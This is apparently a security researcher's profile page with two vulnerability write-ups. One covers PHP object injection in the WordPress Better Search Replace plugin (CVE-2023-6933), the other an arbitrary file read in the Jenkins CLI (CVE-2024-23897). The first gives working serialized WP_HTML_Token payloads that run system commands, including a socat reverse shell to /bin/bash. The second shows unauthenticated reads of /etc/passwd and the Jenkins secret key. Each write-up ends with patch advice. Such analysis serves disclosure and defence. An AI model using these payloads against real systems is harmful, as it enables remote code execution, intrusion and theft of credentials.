w2xim3 (9)

Last Login: July 08, 2024

w2xim3's Latest (3) Contributions

Sort by:
Filter by:
Technical Analysis

Introduction to CVE-2023-6933 Vulnerability


The “Better Search Replace” plugin for WordPress exhibits a critical vulnerability known as PHP Object Injection. This security flaw is present in all versions up to and including 1.4.4. It arises from the deserialization of untrusted input, enabling unauthenticated attackers to inject a PHP Object into the system. Notably, the plugin itself does not contain a PHP Object Injection (POI) chain. However, if an additional vulnerable plugin or theme is installed on the target system that does include a POI chain, this vulnerability could potentially allow attackers to delete arbitrary files, access sensitive data, or execute malicious code.

Additional Analysis

In this analysis, we will also cover the vulnerability in WordPress version 6.4.0, which was addressed to fix a Remote Code Execution (RCE) issue. Moreover, we will explore the possibility of chaining these two vulnerabilities to achieve unauthenticated remote code execution.

Discovering the Version of Better Search Replace Plugin

To find out the current stable version of the Better Search Replace plugin, use the following command:

echo 'http://wp6.4-better-search-replace-before-1.4.5.local' \
| sed "s'$'/wp-content/plugins/better-search-replace/README.txt'" \
| httpx -silent -mc 200 -er 'Stable tag:.*'
http://wp6.4-better-search-replace-before-1.4.5.local/wp-content/plugins/better-search-replace/README.txt [Stable tag: 1.4.3]

Setup and Initial Steps for Vulnerability Analysis

Docker Installation

Firstly, I set up three Docker containers for the analysis:

  1. MySQL: To provide database support.
  2. WordPress 6.4.0: Integrated with the “Better Search Replace” plugin version 1.4.3.
  3. Linux Environment: To serve as the recipient for the Remote Code Execution (RCE).

Analyzing GitHub Commits

To gain a deeper understanding of the vulnerability, I began analyzing specific commits in the GitHub repository of the “Better Search Replace” plugin. These commits potentially contain crucial information regarding the nature and fixes of the vulnerability.


  • Explanation of Function Parameters

In this function, we can observe the following parameters:

  • from: This is the text to be replaced.
  • to: This represents the replacement text.
  • data: This is the data that needs to be replaced.

It is important to note here that the data is passed directly to the function $this->unserialize($data).


Therefore, here we can see that the string will be deserialized.

Visual Plugin Analysis

In order to determine where it is feasible to inject a serialized object into data, we will explore the visual interface of the plugin.


We can therefore place a serialized object in one of these tables, but we need a vulnerable serialized object to be able to achieve Remote Code Execution (RCE).

Exploiting PHP Object in WordPress 6.4.0

In WordPress version 6.4.0, a PHP object, WP_HTML_Token, was introduced. Here’s a breakdown of its structure and potential for exploitation:

PHP Class: WP_HTML_Token


class WP_HTML_Token {
    public $bookmark_name = null;
    public $node_name = null;
    public $has_self_closing_flag = false;
    public $on_destroy = null;

     * Constructor - creates a reference to a token in some external HTML string.
     * @since 6.4.0
     * @param string   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found.
     * @param string   $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
     * @param bool     $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
     * @param callable $on_destroy            Function to call when destroying token, useful for releasing the bookmark.
    public function __construct( $bookmark_name, $node_name, $has_self_closing_flag, $on_destroy = null ) {
        $this->bookmark_name         = $bookmark_name;
        $this->node_name             = $node_name;
        $this->has_self_closing_flag = $has_self_closing_flag;
        $this->on_destroy            = $on_destroy;
    public function __destruct() {
        if ( is_callable( $this->on_destroy ) ) {
           call_user_func( $this->on_destroy, $this->bookmark_name );

Exploitation Strategy

The call_user_func function within the __destruct method is key for exploitation. It requires:

$this->on_destroy: A callable function.

$this->bookmark_name: An argument for the callable function.

Exploitation Code

To exploit this, I tried the following add lines here to the end of main.php (note: comment out the call_user_func line before serialization):

$token = new WP_HTML_Token("touch /tmp/rce", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
php main.php
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:14:"touch /tmp/rce";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}

Testing the Exploitation Theory

Now, it’s feasible to test the theory by adding an unauthenticated comment on the website.


Triggering the Deserialization Function

It’s time to utilize the plugin to trigger the deserialization function.



The file was created as expected, so the RCE during deserialization and during the destruction of the object works correctly.


Observations on the Exploitation Process

Dangerous Aspects

  1. Persistence of Deleted Comments: Even if a comment is deleted, it remains in the database tagged as ‘not shown to user’. However, the plugin does not distinguish between visible and invisible comments and proceeds to deserialize the object regardless.

  2. Deserialization During Dry Run: The deserialization process occurs even during a dry run, which is a significant oversight in terms of security.

Misclassification of CVSS by Wordfence

  • Initial Assessment: The categorization by Wordfence of the Common Vulnerability Scoring System (CVSS) seems to be erroneous. In my opinion, it should be rated at 8.8.

  • Revised Assessment: The current CVSS score is 9.8. However, this rating overlooks the fact that “user interaction is required on the correct table” for the code deserialization to occur. To confirm this, I contacted researcher Sam Pizzey, who affirmed my observation: the execution of the vulnerability requires someone to interact with the plugin.

Reverse Shell Exploitation

For those interested in reverse shell techniques, I have adapted my payload to streamline this process. This could be applied to websites where registration is open to everyone:

Modified Payload

$token = new WP_HTML_Token("socat TCP: EXEC:/bin/bash", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:40:"socat TCP: EXEC:/bin/bash";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}

Inserting PHP Object into Profile

Next, I edited my profile with the PHP object.


Opening a Listener

I then opened a listener to await the incoming connection.


Triggering the Plugin


Receiving the Reverse Shell

Finally, I successfully received the reverse shell connection.


Remediation Section

Update better-search-replace

To address the vulnerability, update to a version higher than Better Search Replace 1.4.4 and Make your WordPress updates.


This document provides a detailed overview of the CVE-2023-6933 vulnerability, including its impact, technical details, and mitigation strategies. Understanding and addressing this vulnerability is crucial for maintaining the security and integrity of WordPress installations using the ‘Better Search Replace’ plugin.

Author Information

Author: Maxime Paillé

GitHub: w2xim3

LinkedIn: LinkedIn Profile

Technical Analysis

CVE-2024-23897: Jenkins Arbitrary File Read Vulnerability


CVE-2024-23897 has been identified as an arbitrary file read vulnerability in Jenkins, specifically through its built-in command line interface (CLI). This vulnerability stems from the use of the args4j library for parsing command arguments and options on the Jenkins controller.


When processing CLI commands, Jenkins utilizes the args4j library, which has a feature that replaces an @ character followed by a file path in an argument with the contents of that file (expandAtFiles). This feature is enabled by default and was not disabled in Jenkins versions 2.441 and earlier, including LTS 2.426.2 and earlier.


A threat actor can exploit this vulnerability to read arbitrary files on the Jenkins controller’s file system using the default character encoding of the Jenkins controller process. Attackers with “Overall/Read” permission can read entire files, while those without such permission can only read the first three lines of files, depending on the CLI commands used.

Furthermore, this vulnerability can be exploited to read binary files containing sensitive information like cryptographic keys, although there are certain limitations. If these binary secrets are extracted, it could potentially lead to various attacks, such as:

  • Remote code execution via Resource Root URLs.
  • Remote code execution through “Remember me” cookies.
  • Remote code execution via stored cross-site scripting (XSS) attacks in build logs.
  • Remote code execution by bypassing CSRF protection.
  • Decrypting secrets stored in Jenkins.
  • Deleting any item in Jenkins.
  • Downloading a Java heap dump.

Jenkins has noted that while files containing binary data can be read, the affected feature attempts to read them as strings using the controller process’s default character encoding.


This vulnerability highlights the importance of proper cybersecurity measures in managing software infrastructure, especially in tools like Jenkins, which are pivotal in the continuous integration and delivery pipeline.

Discovering Jenkins Version

To determine if a Jenkins instance is vulnerable, you can check its version using a simple curl command. This can help identify if the Jenkins version is one that’s affected by CVE-2024-23897.


curl -I http://jenkins.website.com:8080

HTTP/1.1 403 Forbidden
Date: Fri, 26 Jan 2024 03:20:33 GMT
X-Content-Type-Options: nosniff
Set-Cookie: JSESSIONID.0fb6b3ab=node01vyrtax05t5vd1bj77ieowz32z8.node0; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=utf-8
X-Hudson: 1.395
X-Jenkins: 2.426.2
X-Jenkins-Session: f03ec4ab
Transfer-Encoding: chunked
Server: Jetty(10.0.18)

The X-Jenkins header in the response indicates the version of Jenkins that is running. In this example, it shows version 2.426.2, which is one of the versions affected by the vulnerability.

Downloading and Using the Jenkins CLI

First, we need to download the CLI tool for Jenkins:

wget http://jenkins.website.com:8080/jnlpJars/jenkins-cli.jar

To determine the commands that I can execute with the CLI, I installed the Docker version with admin credentials (username: admin, password: admin). After executing the “help” command:

java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin help

Here are the commands that I can execute:

Job Management

  • add-job-to-view: Add jobs to a specific view.
  • build: Build a job and optionally wait for its completion.
  • copy-job: Copy an existing job.
  • create-job: Create a new job with XML configuration input.
  • delete-builds: Delete specific build records.
  • delete-job: Delete one or more jobs.
  • disable-job: Disable a specified job.
  • enable-job: Enable a specified job.
  • get-job: Output the job definition XML.
  • keep-build: Mark a build to keep it permanently.
  • list-jobs: List all jobs in a specific view or item group.
  • reload-job: Reload job definitions.
  • remove-job-from-view: Remove jobs from a specific view.
  • update-job: Update job definition using XML input.

Node Management

  • connect-node: Reconnect to one or more nodes.
  • create-node: Create a new node with XML configuration.
  • delete-node: Delete one or more nodes.
  • disconnect-node: Disconnect from a node.
  • get-node: Output the node definition XML.
  • offline-node: Temporarily stop using a node.
  • online-node: Resume using a node.
  • update-node: Update node definition using XML input.
  • wait-node-offline: Wait for a node to go offline.
  • wait-node-online: Wait for a node to come online.

Plugin Management

  • disable-plugin: Disable one or more plugins.
  • enable-plugin: Enable one or more plugins.
  • install-plugin: Install a plugin from a file, URL, or update center.
  • list-plugins: List all installed plugins.

View Management

  • create-view: Create a new view with XML configuration.
  • delete-view: Delete one or more views.
  • get-view: Output the view definition XML.
  • update-view: Update view definition using XML input.

Credentials Management

  • create-credentials-by-xml: Create credentials using XML.
  • create-credentials-domain-by-xml: Create a credentials domain using XML.
  • delete-credentials: Delete specific credentials.
  • delete-credentials-domain: Delete a credentials domain.
  • get-credentials-as-xml: Get credentials as XML (secrets redacted).
  • get-credentials-domain-as-xml: Get a credentials domain as XML.
  • import-credentials-as-xml: Import credentials using XML.
  • list-credentials: List credentials in a specific store.
  • list-credentials-as-xml: Export credentials as XML.
  • update-credentials-by-xml: Update credentials using XML.
  • update-credentials-domain-by-xml: Update a credentials domain using XML.

Build and Script Management

  • console: Retrieve console output of a build.
  • declarative-linter: Validate a Jenkinsfile with a Declarative Pipeline.
  • groovy: Execute a specified Groovy script.
  • groovysh: Run an interactive Groovy shell.
  • list-changes: Dump the changelog for specific builds.
  • replay-pipeline: Replay a Pipeline build with edited script.
  • restart-from-stage: Restart a completed Pipeline build from a stage.
  • set-build-description: Set the description of a build.
  • set-build-display-name: Set the display name of a build.
  • stop-builds: Stop all running builds for specific jobs.

System and Configuration Management

  • cancel-quiet-down: Cancel the quiet-down mode.
  • clear-queue: Clear the build queue.
  • help: List all available commands or detailed description of a single command.
  • mail: Send an email with input from stdin.
  • quiet-down: Prepare Jenkins for restart by not starting new builds.
  • reload-configuration: Reload all data from the file system.
  • restart: Restart Jenkins.
  • safe-restart: Safely restart Jenkins without starting new builds.
  • safe-shutdown: Shut down Jenkins after completing existing builds.
  • session-id: Output the current session ID.
  • shutdown: Immediately shut down Jenkins server.
  • version: Output the current version of Jenkins.
  • who-am-i: Report user credentials and permissions.

Subsequently, I randomly used a get function:

java -jar jenkins-cli.jar -s http://localhost:8080 -auth admin:admin get-node @/etc/passwd
ERROR: No such node 'root:x:0:0:root:/root:/bin/bash'

Great, I can now read files, but the question remains about unauthenticated access.

java -jar jenkins-cli.jar -s http://localhost:8080 get-node @/etc/passwd
io.jenkins.cli.shaded.jakarta.websocket.DeploymentException: Handshake error.
# (Error stack trace omitted for brevity)
Caused by: io.jenkins.cli.shaded.org.glassfish.tyrus.client.auth.AuthenticationException: Credentials are missing.

So, I decided to test all the commands without authentication.

for i in `cat jenkins_commands.txt`; do echo $i; java -jar jenkins-cli.jar -s http://localhost:8080 $i "@/etc/passwd"; done

I received some responses from a few commands without authentication.

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash

ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash

ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash

Thus, it is possible to read a few lines from files on a vulnerable Jenkins instance.

java -jar jenkins-cli.jar -s http://localhost:8080 shutdown @/var/jenkins_home/secret.key
ERROR: No argument is allowed: 85c25a9e632febdbad51498ef0bb568400fbc28c1a00ce5115b0789a83c2dd09

Here the secret key of my jenkin.

Remediation Section

Update Jenkins

To address the vulnerability, update to a version higher than Jenkins 2.442 or LTS 2.426.3.

Author Information

Author: Maxime Paillé

GitHub: w2xim3

LinkedIn: LinkedIn Profile

Quebec Cyber Security Logo

Quebec Cyber Security Logo